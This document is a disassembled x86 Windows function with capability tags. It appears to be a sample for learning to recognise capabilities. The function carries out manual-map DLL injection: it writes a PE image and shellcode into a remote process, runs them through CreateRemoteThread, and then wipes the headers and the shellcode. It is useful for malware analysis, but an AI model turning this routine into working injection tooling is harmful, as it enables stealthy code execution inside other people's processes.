Function at 0x445a80
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x60
mov eax, dword [0x4ef400]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebx
push ebp
mov ebx, edx
mov eax, 0x5a4d
push esi
mov esi, ecx
push edi
mov dword [esp + 0x5c], esi
cmp word [ebx], ax
je 0x445ac6
push str.Invalid_file_n
call fcn.00445a40
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
mov ebp, dword [ebx + 0x3c]
mov eax, 0x14c
add ebp, ebx
mov dword [esp + 0x18], ebp
cmp word [ebp + 4], ax
je 0x445afc
push str.Invalid_platform_n
call fcn.00445a40
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
push str.File_ok_n
call fcn.00445a40
add esp, 4
push 4
push 0x3000
push dword [ebp + 0x50]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push esi
call ebp
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
jne 0x445b39
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Target_process_memory_allocation_failed__ex__0x_X_n
jmp 0x4461c9
lea eax, [esp + 0x64]
mov dword [esp + 0x64], 0
push eax
mov eax, dword [esp + 0x1c]
push 0x40
push dword [eax + 0x50]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1000
push ebx
push edi
mov dword [esp + 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov dword [esp + 0x44], 0
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x48], 1
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x445bd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cant_write_file_header_0x_X_n
call fcn.00445a40
add esp, 8
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
mov eax, dword [esp + 0x18]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x445c25
add esi, eax
nop
mov eax, dword [esi - 4]
test eax, eax
je 0x445c15
push 0
push eax
mov eax, dword [esi]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x6c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x445c7b
mov eax, dword [esp + 0x18]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x445bf0
mov esi, dword [esp + 0x5c]
push 4
push 0x3000
push 0x1c
push 0
push esi
call ebp
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
jne 0x445cb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Target_process_mapping_allocation_failed__ex__0x_X_n
call fcn.00445a40
add esp, 8
push 0x8000
push edi
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cant_map_sections:_0x_x_n
call fcn.00445a40
add esp, 8
push 0x8000
push 0
push dword [esp + 0x1c]
push dword [esp + 0x68]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x24]
push 0
push 0x1c
push eax
push edi
push esi
call ebx
test eax, eax
jne 0x445d1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cant_write_mapping_0x_X_n
call fcn.00445a40
add esp, 8
push 0x8000
push 0
push dword [esp + 0x1c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push edi
push dword [esp + 0x68]
call esi
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call ebp
mov ebp, eax
mov dword [esp + 0x20], ebp
test ebp, ebp
jne 0x445d44
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Memory_shellcode_allocation_failed__ex__0x_X_n
jmp 0x445cdc
push 0
push 0x1000
push 0x4461f0
push ebp
push esi
call ebx
test eax, eax
jne 0x445d9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cant_write_shellcode_0x_X_n
call fcn.00445a40
add esp, 8
push 0x8000
push 0
push dword [esp + 0x1c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
mov ebx, dword [esp + 0x5c]
push 0x8000
push 0
push edi
push ebx
call esi
push 0x8000
push 0
push ebp
push ebx
jmp 0x445d04
mov ebx, dword [esp + 0x14]
push ebx
push str.Mapped_DLL_at__p_n
call fcn.00445a40
push edi
push str.Mapping_info_at__p_n
call fcn.00445a40
push ebp
push str.Shell_code_at__p_n
call fcn.00445a40
push str.Data_allocated_n
call fcn.00445a40
add esp, 0x1c
push 0
push 0
push edi
push ebp
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x445e26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Thread_creation_failed_0x_X_n
call fcn.00445a40
add esp, 8
push 0x8000
push 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
mov ebx, dword [esp + 0x5c]
push 0x8000
push 0
push edi
push ebx
call esi
push 0x8000
push 0
push ebp
push ebx
jmp 0x445d04
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
push str.Thread_created_at:__p__waiting_for_return..._n
call fcn.00445a40
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
add esp, 8
mov ebp, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
lea eax, [esp + 0x60]
mov dword [esp + 0x60], 0
push eax
push esi
call ebx
mov eax, dword [esp + 0x60]
cmp eax, 0x103
jne 0x4461c3
push 0
push 0x1c
lea eax, [esp + 0x48]
mov dword [esp + 0x60], 0
push eax
push dword [esp + 0x28]
xorps xmm0, xmm0
push esi
movups xmmword [esp + 0x54], xmm0
movq qword [esp + 0x64], xmm0
call ebp
mov esi, dword [esp + 0x4c]
cmp esi, 0x404040
je 0x44617e
cmp esi, 0x505050
jne 0x445eba
push str.WARNING:_Exception_support_failed__n
call fcn.00445a40
add esp, 4
push 0xa
call edi
test esi, esi
mov esi, dword [esp + 0x5c]
je 0x445e50
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
mov dword [esp + 0x60], ebx
test ebx, ebx
jne 0x445f00
push str.Unable_to_allocate_memory_n
call fcn.00445a40
add esp, 4
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
push 0x1400000
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
mov edi, dword [esp + 0x20]
add esp, 0xc
mov ebp, esi
push 0
push 0x1000
push ebx
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x445f37
push str.WARNING_:_Cant_clear_HEADER_n
call fcn.00445a40
add esp, 4
mov ebx, dword [esp + 0x18]
xor edx, edx
mov dword [esp + 0x5c], edx
movzx eax, word [ebx + 0x14]
lea esi, [ebx + 0x18]
add esi, eax
movzx eax, word [ebx + 6]
mov ecx, eax
test ax, ax
je 0x44604e
nop dword [eax]
cmp dword [esi + 8], 0
je 0x446037
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x445f91
test dl, dl
je 0x445f8d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x445f91
add eax, 2
add ecx, 2
test dl, dl
jne 0x445f71
xor eax, eax
jmp 0x445f96
sbb eax, eax
or eax, 1
test eax, eax
je 0x445ffa
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x445fc1
test dl, dl
je 0x445fbd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x445fc1
add eax, 2
add ecx, 2
test dl, dl
jne 0x445fa1
xor eax, eax
jmp 0x445fc6
sbb eax, eax
or eax, 1
test eax, eax
je 0x445ffa
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x445ff1
test dl, dl
je 0x445fed
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x445ff1
add eax, 2
add ecx, 2
test dl, dl
jne 0x445fd1
xor eax, eax
jmp 0x445ff6
sbb eax, eax
or eax, 1
test eax, eax
jne 0x446037
push esi
push str.Processing__s_removal_n
call fcn.00445a40
mov eax, dword [esi + 0xc]
add esp, 8
add eax, edi
push 0
push dword [esi + 8]
push dword [esp + 0x68]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x446037
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.Cant_clear_section__s:_0x_x_n
call fcn.00445a40
add esp, 0xc
movzx eax, word [ebx + 6]
add esi, 0x28
inc dword [esp + 0x5c]
mov ecx, eax
cmp dword [esp + 0x5c], eax
jne 0x445f60
movzx esi, word [ebx + 0x14]
add ebx, 0x18
add esi, ebx
xor ebx, ebx
test cx, cx
je 0x4460dd
lea edx, [ebx + 0x20]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4460c7
mov eax, dword [esi + 0x24]
mov edi, 2
mov dword [esp + 0x5c], 0
test eax, 0x80000000
jbe 0x44608a
mov edi, 4
jmp 0x446092
test eax, 0x20000000
cmova edi, edx
lea eax, [esp + 0x5c]
push eax
mov eax, dword [esi + 0xc]
add eax, dword [esp + 0x18]
push edi
push ecx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push edi
push esi
test eax, eax
je 0x4460b5
push str.section__s_set_as__lX_n
jmp 0x4460ba
push str.FAIL:_section__s_not_set_as__lX_n
call fcn.00445a40
mov edx, 0x20
add esp, 0xc
mov ecx, dword [esp + 0x18]
inc ebx
add esi, 0x28
movzx eax, word [ecx + 6]
cmp ebx, eax
jne 0x446065
mov edi, dword [esp + 0x14]
jmp 0x4460e1
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x68]
mov dword [esp + 0x68], 0
push eax
movzx eax, word [ecx + 0x14]
push 2
push dword [eax + ecx + 0x24]
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edi, dword [esp + 0x20]
push 0
push 0x1000
push dword [esp + 0x68]
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x446128
push str.WARNING:_Cant_clear_shellcode_n
call fcn.00445a40
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push edi
push ebp
call esi
test eax, eax
jne 0x44614a
push str.WARNING:_cant_release_shell_code_memory_n
call fcn.00445a40
add esp, 4
push 0x8000
push 0
push dword [esp + 0x24]
push ebp
call esi
test eax, eax
jne 0x446169
push str.WARNING:_cant_release_mapping_data_memory_n
call fcn.00445a40
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret
push str.Wrong_mapping_ptr_n
call fcn.00445a40
mov ebx, dword [esp + 0x60]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 0x1c]
push ebx
call esi
push 0x8000
push 0
push dword [esp + 0x24]
push ebx
call esi
mov edi, dword [esp + 0x20]
push 0x8000
push 0
push edi
push ebx
jmp 0x445d04
push eax
push str.Process_crashed__exit_code:__d_n
call fcn.00445a40
mov ecx, dword [esp + 0x74]
add esp, 8
xor al, al
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004ca5c5
add esp, 0x60
ret